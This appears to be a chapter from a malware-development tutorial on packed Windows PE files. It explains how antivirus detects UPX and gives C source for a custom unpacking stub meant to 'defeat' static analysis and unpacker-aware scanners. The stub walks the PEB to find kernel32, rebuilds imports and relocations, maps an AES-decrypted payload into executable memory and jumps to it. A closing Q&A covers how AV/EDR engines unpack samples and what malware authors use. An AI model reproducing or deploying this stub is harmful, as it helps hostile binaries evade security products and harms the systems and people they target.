Packed PE Files
A packer compresses or encrypts a PE binary (EXE or DLL) into a new PE that contains a self-unpacking stub. At runtime, the stub allocates memory, decompresses or decrypts the original PE, fixes its imports and relocations in memory, and transfers execution. From the disk's perspective, the file is a scrambled binary with no recognizable imports or strings. From the runtime perspective, the original PE runs as normal. This chapter covers how PE packing works mechanically, what UPX does under the hood, and how to implement a minimal custom packer that defeats both static analysis and unpacker-aware scanners.
PE Packer Architecture
Disk layout of packed PE:
─────────────────────────────────────────────────────────────────────────
PE Header → valid but modified (section names like UPX0/UPX1)
.text section → the STUB code (unpacker itself)
.data section → compressed/encrypted original PE bytes
Import table → only the APIs the stub needs:
VirtualAlloc, VirtualProtect,
LoadLibrary, GetProcAddress
At runtime (stub executes):
─────────────────────────────────────────────────────────────────────────
1. Stub runs in packed PE's address space
2. Decompresses/decrypts .data section → original PE bytes in memory
3. Parses original PE's header
4. Allocates memory at original PE's preferred base (or relocates)
5. Copies PE sections to allocated memory
6. Processes import table: calls LoadLibrary for each DLL,
calls GetProcAddress for each function, fills IAT
7. Applies relocations (if original PE's base is different from preferred)
8. Calls original PE's entry point
UPX flow (well-known, AV-detected):
─────────────────────────────────────────────────────────────────────────
UPX uses LZO/LZMA compression for the original PE.
UPX section names: UPX0 (empty, the target of unpacking),
UPX1 (compressed original PE),
UPX2 (for UPX header info).
AV detects UPX:
1. By the UPX0/UPX1/UPX2 section names (easiest)
2. By the UPX stub byte pattern (next easiest)
3. By the characteristic "small import table with only LoadLibrary/GetProcAddress"
UPX -q -d (unpack) restores the original PE in 1 second.
Every AV engine has UPX unpacker support built in.
Custom packer advantages:
─────────────────────────────────────────────────────────────────────────
No known stub pattern → stub isn't in any AV signature database (initially)
No predictable section names → no section-name-based detection
Custom stub code → requires per-sample analysis to understand
Combine with encryption (AES-256) → not trivially unpackable without keyCustom Packer Stub Implementation
/* packer_stub.c — Custom PE packer unpacking stub
This is the stub that's embedded in the packed PE.
It's compiled separately and embedded by the packer tool.
The stub:
1. Decrypts the embedded original PE (AES-256 from Ch63)
2. Maps the original PE into memory
3. Processes imports (LoadLibrary/GetProcAddress)
4. Handles relocations
5. Calls the original entry point
This stub must be compiled as a self-contained blob (no CRT,
all APIs resolved dynamically, position-independent).
*/
#include <windows.h>
#include <bcrypt.h>
/* ── PEB walk to find kernel32.dll without GetModuleHandle ─────────── */
/*
* The stub cannot call GetModuleHandle(NULL) until imports are set up.
* But we need kernel32 to do LoadLibrary/GetProcAddress.
* Solution: walk the PEB.Ldr list to find kernel32 directly.
*/
static HMODULE find_kernel32_via_peb(void) {
/* PEB → Ldr → InMemoryOrderModuleList */
/* [0] = ntdll, [1] = kernel32 (usually) on most Windows versions */
/* More robust: search by module name hash */
PPEB peb;
#ifdef _WIN64
peb = (PPEB)__readgsqword(0x60);
#else
peb = (PPEB)__readfsdword(0x30);
#endif
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;
/* Skip first entry (main module), search for "KERNEL32.DLL" */
while (curr != head) {
/* LDR_DATA_TABLE_ENTRY.FullDllName is at offset +0x38 in InMemoryOrderModuleList entry */
PUNICODE_STRING name_us = (PUNICODE_STRING)((PBYTE)curr + 0x38);
if (name_us->Buffer) {
/* Simple check: first char is K (for KERNEL32.DLL) */
if (name_us->Buffer[0] == L'K' || name_us->Buffer[0] == L'k') {
/* Return BaseAddress (at offset +0x10 from InMemoryOrderModuleList) */
return (HMODULE)*((PULONG_PTR)((PBYTE)curr + 0x10));
}
}
curr = curr->Flink;
}
return NULL;
}
/* ── Process PE imports ──────────────────────────────────────────────── */
typedef HMODULE (WINAPI *LoadLibraryAFn)(LPCSTR);
typedef FARPROC (WINAPI *GetProcAddressFn)(HMODULE, LPCSTR);
static BOOL process_imports(PBYTE image_base,
LoadLibraryAFn pLoadLibrary,
GetProcAddressFn pGetProcAddress) {
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image_base +
((PIMAGE_DOS_HEADER)image_base)->e_lfanew);
DWORD import_rva = nt->OptionalHeader.DataDirectory[1].VirtualAddress;
if (!import_rva) return TRUE; /* no imports */
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)(image_base + import_rva);
while (imp->Name) {
LPCSTR dll_name = (LPCSTR)(image_base + imp->Name);
HMODULE hDll = pLoadLibrary(dll_name);
if (!hDll) return FALSE;
PIMAGE_THUNK_DATA thunk_ilt = (PIMAGE_THUNK_DATA)(image_base + imp->OriginalFirstThunk);
PIMAGE_THUNK_DATA thunk_iat = (PIMAGE_THUNK_DATA)(image_base + imp->FirstThunk);
while (thunk_ilt->u1.AddressOfData) {
FARPROC func;
if (IMAGE_SNAP_BY_ORDINAL(thunk_ilt->u1.Ordinal)) {
func = pGetProcAddress(hDll, (LPCSTR)IMAGE_ORDINAL(thunk_ilt->u1.Ordinal));
} else {
PIMAGE_IMPORT_BY_NAME by_name =
(PIMAGE_IMPORT_BY_NAME)(image_base + thunk_ilt->u1.AddressOfData);
func = pGetProcAddress(hDll, (LPCSTR)by_name->Name);
}
if (!func) return FALSE;
thunk_iat->u1.Function = (ULONG_PTR)func;
thunk_ilt++;
thunk_iat++;
}
imp++;
}
return TRUE;
}
/* ── Process relocations ─────────────────────────────────────────────── */
static void process_relocations(PBYTE image_base, ULONG_PTR preferred_base) {
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image_base +
((PIMAGE_DOS_HEADER)image_base)->e_lfanew);
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[5].VirtualAddress;
if (!reloc_rva) return;
ULONG_PTR delta = (ULONG_PTR)image_base - preferred_base;
if (!delta) return;
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(image_base + reloc_rva);
while (reloc->VirtualAddress) {
WORD *entries = (WORD*)(reloc + 1);
DWORD count = (reloc->SizeOfBlock - sizeof(*reloc)) / sizeof(WORD);
for (DWORD i = 0; i < count; i++) {
if ((entries[i] >> 12) == IMAGE_REL_BASED_DIR64) {
ULONG_PTR *ptr = (ULONG_PTR*)(image_base +
reloc->VirtualAddress +
(entries[i] & 0x0FFF));
*ptr += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((PBYTE)reloc + reloc->SizeOfBlock);
}
}
/* ── Main stub entrypoint ────────────────────────────────────────────── */
void stub_main(PBYTE packed_pe_bytes, DWORD packed_len,
const BYTE *aes_key, const BYTE *aes_iv) {
/* 1. Find kernel32 via PEB */
HMODULE hK32 = find_kernel32_via_peb();
if (!hK32) return;
/* 2. Resolve the four functions we need */
/* (Using resolve_by_hash from Ch55 in production — simplified here) */
LoadLibraryAFn pLoadLib = (LoadLibraryAFn) GetProcAddress(hK32, "LoadLibraryA");
GetProcAddressFn pGetProc = (GetProcAddressFn) GetProcAddress(hK32, "GetProcAddress");
/* ... VirtualAlloc, VirtualProtect similarly */
/* 3. Decrypt original PE (AES from Ch63) */
/* aes_decrypt(packed_pe_bytes, packed_len, aes_key, aes_iv, &orig_pe, &orig_len) */
/* (linked from aes_payload.o) */
PBYTE orig_pe = NULL;
DWORD orig_len = 0;
/* aes_loader sets up orig_pe and orig_len */
/* 4. Map original PE sections into memory */
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(orig_pe +
((PIMAGE_DOS_HEADER)orig_pe)->e_lfanew);
DWORD preferred_base = (DWORD)nt->OptionalHeader.ImageBase;
DWORD image_size = nt->OptionalHeader.SizeOfImage;
PBYTE image_mem = (PBYTE)VirtualAlloc(NULL, image_size,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!image_mem) return;
/* Copy headers */
memcpy(image_mem, orig_pe, nt->OptionalHeader.SizeOfHeaders);
/* Copy sections */
PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sect++) {
if (sect->SizeOfRawData)
memcpy(image_mem + sect->VirtualAddress,
orig_pe + sect->PointerToRawData, sect->SizeOfRawData);
}
/* 5. Process imports and relocations */
process_imports(image_mem, pLoadLib, pGetProc);
process_relocations(image_mem, (ULONG_PTR)preferred_base);
/* 6. Zero and free original PE buffer */
SecureZeroMemory(orig_pe, orig_len);
/* 7. Execute original entry point */
DWORD ep_rva = nt->OptionalHeader.AddressOfEntryPoint;
void (*entry)(void) = (void(*)(void))(image_mem + ep_rva);
entry();
}Questions & Answers
Why do commercial packers (Themida, VMProtect) provide much stronger protection than custom packers?
Commercial packers add layers beyond simple packing: code virtualization (replaces native instructions with bytecode for a custom virtual machine embedded in the packer), anti-tamper checks (the packer verifies its own integrity at runtime — if a debugger has patched any bytes, it crashes), and mutation (each packed output uses a different VM instruction set so no two outputs have matching byte patterns). VMProtect's virtual machine changes opcodes between protected builds, making each protected binary require a different "decompiler" to understand. Custom packers implement the unpacking stub only — they provide confidentiality while the binary is on disk but once unpacked in memory, the original code is fully readable. Commercial packers protect against runtime analysis as well, which is why serious malware authors either use them or implement their own VM-based protection.
How do AV/EDR products unpack PE files for analysis?
Multiple approaches: (1) Generic unpacking: the AV has its own emulator that executes the packed binary's code in a safe sandbox, lets the stub unpack, then scans the unpacked result. This works for common packers (UPX, MPRESS) and simple custom packers. (2) Packer-specific plugins: many AV engines have specific unpackers for dozens of known packers (UPX, Petite, FSG, Upack, etc.). These are deterministic — if the engine recognizes the packer, it unpacks instantly. (3) API monitoring in sandbox: run the packed binary in a behavioral sandbox, wait for VirtualProtect calls that change memory to executable (which happens when the stub finishes unpacking), then take a memory snapshot and scan. This generic approach catches most packers but requires actually running the code. (4) Memory scanning of running processes: scan every executable memory region for signatures, regardless of what was on disk. This catches payload in memory even after custom decryption.
Can you pack a DLL (not just an EXE) with a custom packer?
Yes, but with complications. For DLLs, the entry point is DllMain with the DLL_PROCESS_ATTACH reason code, and the packer stub must run as a DllMain callback. The stub also needs to handle the fact that the original DLL may export functions — callers can't call exports until the DLL is fully unpacked and its IAT is filled. This means the stub must complete the entire unpack operation before returning from DllMain. Also: DLL base address isn't guaranteed to be the preferred base (ASLR can put it anywhere), so relocation processing is always required. The module that loads your packed DLL via LoadLibrary will see only the packed DLL's exports (the stub's exports), not the original DLL's exports — so you need to either export them from the stub (forwarding), or complete unpacking so fast that callers don't notice. Reflective DLL injection (Ch29) already implements the manual PE loader — it's essentially a custom unpacker that loads a DLL without going through the Windows loader at all.